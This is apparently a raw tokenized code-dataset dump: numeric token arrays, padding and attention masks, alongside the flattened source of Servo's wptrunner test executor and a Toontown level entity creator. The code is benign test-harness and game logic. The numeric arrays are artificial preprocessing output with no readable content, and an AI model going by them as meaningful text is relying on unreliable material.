13, 4054, 297, 283, 22285, 15, 21, 14, 16, 5440, 267, 862, 26, 288, 289, 275, 16088, 14, 1490, 8, 633, 9, 267, 871, 4011, 14, 705, 14, 31475, 26, 288, 340, 1125, 63, 745, 26, 355, 372, 488, 288, 746, 267, 308, 275, 289, 14, 739, 342, 267, 4242, 63, 633, 275, 289, 14, 32130, 342, 267, 340, 6748, 26, 288, 1218, 63, 515, 63, 509, 63, 493, 8, 5252, 9, 288, 27552, 275, 1551, 8, 5252, 12, 283, 87, 358, 288, 27552, 14, 952, 8, 83, 9, 288, 27552, 14, 1600, 342, 272, 587, 26, 267, 289, 275, 1551, 8, 5252, 9, 267, 308, 275, 289, 14, 739, 342, 272, 289, 14, 1600, 342, 272, 340, 372, 63, 633, 26, 267, 372, 308, 12, 4242, 63, 633, 272, 372, 308, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
deokjinkim/servo
tests/wpt/harness/wptrunner/executors/executorservo.py
14
7768
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this file, # You can obtain one at http://mozilla.org/MPL/2.0/. import base64 import hashlib import json import os import subprocess import tempfile import threading import urlparse import uuid from collections import defaultdict from mozprocess import ProcessHandler from .base import (ExecutorException, Protocol, RefTestImplementation, testharness_result_converter, reftest_result_converter) from .process import ProcessTestExecutor from ..browsers.base import browser_command hosts_text = """127.0.0.1 web-platform.test 127.0.0.1 www.web-platform.test 127.0.0.1 www1.web-platform.test 127.0.0.1 www2.web-platform.test 127.0.0.1 xn--n8j6ds53lwwkrqhv28a.web-platform.test 127.0.0.1 xn--lve-6lad.web-platform.test """ def make_hosts_file(): hosts_fd, hosts_path = tempfile.mkstemp() with os.fdopen(hosts_fd, "w") as f: f.write(hosts_text) return hosts_path class ServoTestharnessExecutor(ProcessTestExecutor): convert_result = testharness_result_converter def __init__(self, browser, server_config, timeout_multiplier=1, debug_info=None, pause_after_test=False): ProcessTestExecutor.__init__(self, browser, server_config, timeout_multiplier=timeout_multiplier, debug_info=debug_info) self.pause_after_test = pause_after_test self.result_data = None self.result_flag = None self.protocol = Protocol(self, browser) self.hosts_path = make_hosts_file() def teardown(self): try: os.unlink(self.hosts_path) except OSError: pass ProcessTestExecutor.teardown(self) def do_test(self, test): self.result_data = None self.result_flag = threading.Event() debug_args, command = browser_command(self.binary, ["--cpu", "--hard-fail", "-u", "Servo/wptrunner", "-z", self.test_url(test)], self.debug_info) self.command = command if self.pause_after_test: self.command.remove("-z") self.command = debug_args + self.command env = os.environ.copy() env["HOST_FILE"] = self.hosts_path if not self.interactive: self.proc = ProcessHandler(self.command, processOutputLine=[self.on_output], onFinish=self.on_finish, env=env, storeOutput=False) self.proc.run() else: self.proc = subprocess.Popen(self.command, env=env) try: timeout = test.timeout * self.timeout_multiplier # Now wait to get the output we expect, or until we reach the timeout if not self.interactive and not self.pause_after_test: wait_timeout = timeout + 5 self.result_flag.wait(wait_timeout) else: wait_timeout = None self.proc.wait() proc_is_running = True if self.result_flag.is_set(): if self.result_data is not None: self.result_data["test"] = test.url result = self.convert_result(test, self.result_data) else: self.proc.wait() result = (test.result_cls("CRASH", None), []) proc_is_running = False else: result = (test.result_cls("TIMEOUT", None), []) if proc_is_running: if self.pause_after_test: self.logger.info("Pausing until the browser exits") self.proc.wait() else: self.proc.kill() except KeyboardInterrupt: self.proc.kill() raise return result def on_output(self, line): prefix = "ALERT: RESULT: " line = line.decode("utf8", "replace") if line.startswith(prefix): self.result_data = json.loads(line[len(prefix):]) self.result_flag.set() else: if self.interactive: print line else: self.logger.process_output(self.proc.pid, line, " ".join(self.command)) def on_finish(self): self.result_flag.set() class TempFilename(object): def __init__(self, directory): self.directory = directory self.path = None def __enter__(self): self.path = os.path.join(self.directory, str(uuid.uuid4())) return self.path def __exit__(self, *args, **kwargs): try: os.unlink(self.path) except OSError: pass class ServoRefTestExecutor(ProcessTestExecutor): convert_result = reftest_result_converter def __init__(self, browser, server_config, binary=None, timeout_multiplier=1, screenshot_cache=None, debug_info=None, pause_after_test=False): ProcessTestExecutor.__init__(self, browser, server_config, timeout_multiplier=timeout_multiplier, debug_info=debug_info) self.protocol = Protocol(self, browser) self.screenshot_cache = screenshot_cache self.implementation = RefTestImplementation(self) self.tempdir = tempfile.mkdtemp() self.hosts_path = make_hosts_file() def teardown(self): try: os.unlink(self.hosts_path) except OSError: pass os.rmdir(self.tempdir) ProcessTestExecutor.teardown(self) def screenshot(self, test): full_url = self.test_url(test) with TempFilename(self.tempdir) as output_path: self.command = [self.binary, "--cpu", "--hard-fail", "--exit", "-u", "Servo/wptrunner", "-Z", "disable-text-aa", "--output=%s" % output_path, full_url] env = os.environ.copy() env["HOST_FILE"] = self.hosts_path self.proc = ProcessHandler(self.command, processOutputLine=[self.on_output], env=env) try: self.proc.run() timeout = test.timeout * self.timeout_multiplier + 5 rv = self.proc.wait(timeout=timeout) except KeyboardInterrupt: self.proc.kill() raise if rv is None: self.proc.kill() return False, ("EXTERNAL-TIMEOUT", None) if rv != 0 or not os.path.exists(output_path): return False, ("CRASH", None) with open(output_path) as f: # Might need to strip variable headers or something here data = f.read() return True, base64.b64encode(data) def do_test(self, test): result = self.implementation.run_test(test) return self.convert_result(test, result) def on_output(self, line): line = line.decode("utf8", "replace") if self.interactive: print line else: self.logger.process_output(self.proc.pid, line, " ".join(self.command))
mpl-2.0
[ 3, 961, 5800, 5495, 8204, 365, 5420, 370, 314, 2895, 402, 314, 17728, 1684, 199, 3, 844, 12, 373, 14, 499, 14, 16, 14, 982, 282, 1331, 402, 314, 28481, 1990, 440, 1854, 543, 642, 570, 12, 199, 3, 2047, 883, 3332, 1373, 737, 1455, 921, 12102, 14, 1308, 15, 3950, 15, 18, 14, 16, 8083, 199, 199, 646, 1300, 772, 199, 646, 8337, 199, 646, 2022, 199, 646, 747, 199, 646, 3873, 199, 646, 5549, 199, 646, 5796, 199, 646, 7097, 199, 646, 5377, 199, 504, 5055, 492, 10018, 199, 199, 504, 1303, 90, 1412, 492, 7132, 2461, 199, 199, 504, 1275, 1095, 492, 334, 16752, 1726, 12, 673, 11557, 12, 673, 15397, 774, 7921, 12, 673, 511, 23569, 63, 1099, 63, 11256, 12, 673, 2984, 396, 63, 1099, 63, 11256, 9, 199, 504, 1275, 1412, 492, 7132, 774, 16752, 199, 504, 2508, 5750, 83, 14, 1095, 492, 7042, 63, 1531, 199, 199, 5146, 63, 505, 275, 408, 4195, 14, 16, 14, 16, 14, 17, 3330, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 20732, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 20732, 17, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 20732, 18, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 671, 78, 306, 78, 24, 74, 22, 795, 2481, 76, 978, 75, 5098, 22926, 1651, 65, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 671, 78, 306, 76, 432, 13, 22, 76, 350, 14, 2520, 13, 3246, 14, 396, 199, 624, 199, 199, 318, 1852, 63, 5146, 63, 493, 837, 272, 7057, 63, 2592, 12, 7057, 63, 515, 275, 5549, 14, 17721, 342, 272, 543, 747, 14, 23140, 8, 5146, 63, 2592, 12, 298, 87, 531, 465, 289, 26, 267, 289, 14, 952, 8, 5146, 63, 505, 9, 272, 372, 7057, 63, 515, 199, 199, 533, 3739, 2392, 774, 23569, 16752, 8, 3498, 774, 16752, 304, 272, 3957, 63, 1099, 275, 511, 23569, 63, 1099, 63, 11256, 339, 347, 636, 826, 721, 277, 12, 7042, 12, 1654, 63, 888, 12, 2653, 63, 15812, 29, 17, 12, 3105, 63, 815, 29, 403, 12, 326, 16834, 63, 4399, 63, 396, 29, 797, 304, 267, 7132, 774, 16752, 855, 826, 721, 277, 12, 7042, 12, 1654, 63, 888, 12, 3660, 2653, 63, 15812, 29, 2593, 63, 15812, 12, 3660, 3105, 63, 815, 29, 1757, 63, 815, 9, 267, 291, 14, 11241, 63, 4399, 63, 396, 275, 16834, 63, 4399, 63, 396, 267, 291, 14, 1099, 63, 576, 275, 488, 267, 291, 14, 1099, 63, 4173, 275, 488, 267, 291, 14, 3922, 275, 11557, 8, 277, 12, 7042, 9, 267, 291, 14, 5146, 63, 515, 275, 1852, 63, 5146, 63, 493, 342, 339, 347, 17558, 8, 277, 304, 267, 862, 26, 288, 747, 14, 7162, 8, 277, 14, 5146, 63, 515, 9, 267, 871, 6440, 26, 288, 986, 267, 7132, 774, 16752, 14, 15236, 8, 277, 9, 339, 347, 886, 63, 396, 8, 277, 12, 511, 304, 267, 291, 14, 1099, 63, 576, 275, 488, 267, 291, 14, 1099, 63, 4173, 275, 5796, 14, 2390, 342, 398, 3105, 63, 589, 12, 1414, 275, 7042, 63, 1531, 8, 277, 14, 3008, 12, 288, 22448, 3541, 401, 4320, 8726, 13, 1633, 401, 3905, 85, 401, 298, 1505, 2392, 15, 87, 4695, 324, 1372, 401, 3905, 90, 401, 291, 14, 396, 63, 633, 8, 396, 4360, 288, 291, 14, 1757, 63, 815, 9, 398, 291, 14, 1531, 275, 1414, 398, 340, 291, 14, 11241, 63, 4399, 63, 396, 26, 288, 291, 14, 1531, 14, 2168, 6096, 90, 531, 398, 291, 14, 1531, 275, 3105, 63, 589, 435, 291, 14, 1531, 398, 2589, 275, 747, 14, 2314, 14, 1574, 342, 267, 2589, 905, 5449, 63, 3817, 937, 275, 291, 14, 5146, 63, 515, 421, 398, 340, 440, 291, 14, 13543, 26, 288, 291, 14, 4687, 275, 7132, 2461, 8, 277, 14, 1531, 12, 4318, 2112, 2959, 3049, 1524, 277, 14, 265, 63, 1199, 467, 4318, 641, 22084, 29, 277, 14, 265, 63, 8192, 12, 4318, 2589, 29, 1813, 12, 4318, 3877, 2959, 29, 797, 9, 288, 291, 14, 4687, 14, 1065, 342, 267, 587, 26, 288, 291, 14, 4687, 275, 3873, 14, 7942, 8, 277, 14, 1531, 12, 2589, 29, 1813, 9, 398, 862, 26, 288, 2653, 275, 511, 14, 2593, 627, 291, 14, 2593, 63, 15812, 953, 327, 7356, 3618, 370, 664, 314, 1072, 781, 4282, 12, 503, 5133, 781, 12276, 314, 2653, 288, 340, 440, 291, 14, 13543, 436, 440, 291, 14, 11241, 63, 4399, 63, 396, 26, 355, 3618, 63, 2593, 275, 2653, 435, 959, 355, 291, 14, 1099, 63, 4173, 14, 2573, 8, 2573, 63, 2593, 9, 288, 587, 26, 355, 3618, 63, 2593, 275, 488, 355, 291, 14, 4687, 14, 2573, 342, 953, 6499, 63, 374, 63, 5720, 275, 715, 953, 340, 291, 14, 1099, 63, 4173, 14, 374, 63, 409, 837, 355, 340, 291, 14, 1099, 63, 576, 365, 440, 488, 26, 490, 291, 14, 1099, 63, 576, 905, 396, 937, 275, 511, 14, 633, 490, 754, 275, 291, 14, 3916, 63, 1099, 8, 396, 12, 291, 14, 1099, 63, 576, 9, 355, 587, 26, 490, 291, 14, 4687, 14, 2573, 342, 490, 754, 275, 334, 396, 14, 1099, 63, 1886, 480, 2944, 8100, 401, 488, 395, 3073, 490, 6499, 63, 374, 63, 5720, 275, 756, 288, 587, 26, 355, 754, 275, 334, 396, 14, 1099, 63, 1886, 480, 8899, 401, 488, 395, 3073, 22919, 340, 6499, 63, 374, 63, 5720, 26, 355, 340, 291, 14, 11241, 63, 4399, 63, 396, 26, 490, 291, 14, 2921, 14, 815, 480, 4232, 4941, 5133, 314, 7042, 20100, 531, 490, 291, 14, 4687, 14, 2573, 342, 355, 587, 26, 490, 291, 14, 4687, 14, 8997, 342, 267, 871, 13483, 26, 288, 291, 14, 4687, 14, 8997, 342, 288, 746, 398, 372, 754, 339, 347, 641, 63, 1199, 8, 277, 12, 1004, 304, 267, 2403, 275, 298, 748, 5397, 26, 20668, 26, 298, 267, 1004, 275, 1004, 14, 2708, 480, 1624, 24, 401, 298, 1814, 531, 267, 340 ]
[ 961, 5800, 5495, 8204, 365, 5420, 370, 314, 2895, 402, 314, 17728, 1684, 199, 3, 844, 12, 373, 14, 499, 14, 16, 14, 982, 282, 1331, 402, 314, 28481, 1990, 440, 1854, 543, 642, 570, 12, 199, 3, 2047, 883, 3332, 1373, 737, 1455, 921, 12102, 14, 1308, 15, 3950, 15, 18, 14, 16, 8083, 199, 199, 646, 1300, 772, 199, 646, 8337, 199, 646, 2022, 199, 646, 747, 199, 646, 3873, 199, 646, 5549, 199, 646, 5796, 199, 646, 7097, 199, 646, 5377, 199, 504, 5055, 492, 10018, 199, 199, 504, 1303, 90, 1412, 492, 7132, 2461, 199, 199, 504, 1275, 1095, 492, 334, 16752, 1726, 12, 673, 11557, 12, 673, 15397, 774, 7921, 12, 673, 511, 23569, 63, 1099, 63, 11256, 12, 673, 2984, 396, 63, 1099, 63, 11256, 9, 199, 504, 1275, 1412, 492, 7132, 774, 16752, 199, 504, 2508, 5750, 83, 14, 1095, 492, 7042, 63, 1531, 199, 199, 5146, 63, 505, 275, 408, 4195, 14, 16, 14, 16, 14, 17, 3330, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 20732, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 20732, 17, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 20732, 18, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 671, 78, 306, 78, 24, 74, 22, 795, 2481, 76, 978, 75, 5098, 22926, 1651, 65, 14, 2520, 13, 3246, 14, 396, 199, 4195, 14, 16, 14, 16, 14, 17, 671, 78, 306, 76, 432, 13, 22, 76, 350, 14, 2520, 13, 3246, 14, 396, 199, 624, 199, 199, 318, 1852, 63, 5146, 63, 493, 837, 272, 7057, 63, 2592, 12, 7057, 63, 515, 275, 5549, 14, 17721, 342, 272, 543, 747, 14, 23140, 8, 5146, 63, 2592, 12, 298, 87, 531, 465, 289, 26, 267, 289, 14, 952, 8, 5146, 63, 505, 9, 272, 372, 7057, 63, 515, 199, 199, 533, 3739, 2392, 774, 23569, 16752, 8, 3498, 774, 16752, 304, 272, 3957, 63, 1099, 275, 511, 23569, 63, 1099, 63, 11256, 339, 347, 636, 826, 721, 277, 12, 7042, 12, 1654, 63, 888, 12, 2653, 63, 15812, 29, 17, 12, 3105, 63, 815, 29, 403, 12, 326, 16834, 63, 4399, 63, 396, 29, 797, 304, 267, 7132, 774, 16752, 855, 826, 721, 277, 12, 7042, 12, 1654, 63, 888, 12, 3660, 2653, 63, 15812, 29, 2593, 63, 15812, 12, 3660, 3105, 63, 815, 29, 1757, 63, 815, 9, 267, 291, 14, 11241, 63, 4399, 63, 396, 275, 16834, 63, 4399, 63, 396, 267, 291, 14, 1099, 63, 576, 275, 488, 267, 291, 14, 1099, 63, 4173, 275, 488, 267, 291, 14, 3922, 275, 11557, 8, 277, 12, 7042, 9, 267, 291, 14, 5146, 63, 515, 275, 1852, 63, 5146, 63, 493, 342, 339, 347, 17558, 8, 277, 304, 267, 862, 26, 288, 747, 14, 7162, 8, 277, 14, 5146, 63, 515, 9, 267, 871, 6440, 26, 288, 986, 267, 7132, 774, 16752, 14, 15236, 8, 277, 9, 339, 347, 886, 63, 396, 8, 277, 12, 511, 304, 267, 291, 14, 1099, 63, 576, 275, 488, 267, 291, 14, 1099, 63, 4173, 275, 5796, 14, 2390, 342, 398, 3105, 63, 589, 12, 1414, 275, 7042, 63, 1531, 8, 277, 14, 3008, 12, 288, 22448, 3541, 401, 4320, 8726, 13, 1633, 401, 3905, 85, 401, 298, 1505, 2392, 15, 87, 4695, 324, 1372, 401, 3905, 90, 401, 291, 14, 396, 63, 633, 8, 396, 4360, 288, 291, 14, 1757, 63, 815, 9, 398, 291, 14, 1531, 275, 1414, 398, 340, 291, 14, 11241, 63, 4399, 63, 396, 26, 288, 291, 14, 1531, 14, 2168, 6096, 90, 531, 398, 291, 14, 1531, 275, 3105, 63, 589, 435, 291, 14, 1531, 398, 2589, 275, 747, 14, 2314, 14, 1574, 342, 267, 2589, 905, 5449, 63, 3817, 937, 275, 291, 14, 5146, 63, 515, 421, 398, 340, 440, 291, 14, 13543, 26, 288, 291, 14, 4687, 275, 7132, 2461, 8, 277, 14, 1531, 12, 4318, 2112, 2959, 3049, 1524, 277, 14, 265, 63, 1199, 467, 4318, 641, 22084, 29, 277, 14, 265, 63, 8192, 12, 4318, 2589, 29, 1813, 12, 4318, 3877, 2959, 29, 797, 9, 288, 291, 14, 4687, 14, 1065, 342, 267, 587, 26, 288, 291, 14, 4687, 275, 3873, 14, 7942, 8, 277, 14, 1531, 12, 2589, 29, 1813, 9, 398, 862, 26, 288, 2653, 275, 511, 14, 2593, 627, 291, 14, 2593, 63, 15812, 953, 327, 7356, 3618, 370, 664, 314, 1072, 781, 4282, 12, 503, 5133, 781, 12276, 314, 2653, 288, 340, 440, 291, 14, 13543, 436, 440, 291, 14, 11241, 63, 4399, 63, 396, 26, 355, 3618, 63, 2593, 275, 2653, 435, 959, 355, 291, 14, 1099, 63, 4173, 14, 2573, 8, 2573, 63, 2593, 9, 288, 587, 26, 355, 3618, 63, 2593, 275, 488, 355, 291, 14, 4687, 14, 2573, 342, 953, 6499, 63, 374, 63, 5720, 275, 715, 953, 340, 291, 14, 1099, 63, 4173, 14, 374, 63, 409, 837, 355, 340, 291, 14, 1099, 63, 576, 365, 440, 488, 26, 490, 291, 14, 1099, 63, 576, 905, 396, 937, 275, 511, 14, 633, 490, 754, 275, 291, 14, 3916, 63, 1099, 8, 396, 12, 291, 14, 1099, 63, 576, 9, 355, 587, 26, 490, 291, 14, 4687, 14, 2573, 342, 490, 754, 275, 334, 396, 14, 1099, 63, 1886, 480, 2944, 8100, 401, 488, 395, 3073, 490, 6499, 63, 374, 63, 5720, 275, 756, 288, 587, 26, 355, 754, 275, 334, 396, 14, 1099, 63, 1886, 480, 8899, 401, 488, 395, 3073, 22919, 340, 6499, 63, 374, 63, 5720, 26, 355, 340, 291, 14, 11241, 63, 4399, 63, 396, 26, 490, 291, 14, 2921, 14, 815, 480, 4232, 4941, 5133, 314, 7042, 20100, 531, 490, 291, 14, 4687, 14, 2573, 342, 355, 587, 26, 490, 291, 14, 4687, 14, 8997, 342, 267, 871, 13483, 26, 288, 291, 14, 4687, 14, 8997, 342, 288, 746, 398, 372, 754, 339, 347, 641, 63, 1199, 8, 277, 12, 1004, 304, 267, 2403, 275, 298, 748, 5397, 26, 20668, 26, 298, 267, 1004, 275, 1004, 14, 2708, 480, 1624, 24, 401, 298, 1814, 531, 267, 340, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
linktlh/Toontown-journey
otp/level/EntityCreatorAI.py
5
1487
import EntityCreatorBase import LogicGate import EditMgrAI import LevelMgrAI import ZoneEntityAI from direct.showbase.PythonUtil import Functor def createDistributedEntity(AIclass, level, entId, zoneId): ent = AIclass(level, entId) ent.generateWithRequired(zoneId) return ent def createLocalEntity(AIclass, level, entId, zoneId): ent = AIclass(level, entId) return ent def nothing(*args): return 'nothing' class EntityCreatorAI(EntityCreatorBase.EntityCreatorBase): def __init__(self, level): EntityCreatorBase.EntityCreatorBase.__init__(self, level) cLE = createLocalEntity self.privRegisterTypes({'attribModifier': nothing, 'ambientSound': nothing, 'collisionSolid': nothing, 'cutScene': nothing, 'editMgr': Functor(cLE, EditMgrAI.EditMgrAI), 'entityGroup': nothing, 'entrancePoint': nothing, 'levelMgr': Functor(cLE, LevelMgrAI.LevelMgrAI), 'locator': nothing, 'logicGate': Functor(cLE, LogicGate.LogicGate), 'model': nothing, 'nodepath': nothing, 'path': nothing, 'propSpinner': nothing, 'visibilityExtender': nothing, 'zone': Functor(cLE, ZoneEntityAI.ZoneEntityAI)}) def doCreateEntity(self, ctor, entId): zoneId = self.level.getEntityZoneId(entId) self.notify.debug('creating entity %s in zone %s' % (entId, zoneId)) return ctor(self.level, entId, zoneId)
apache-2.0
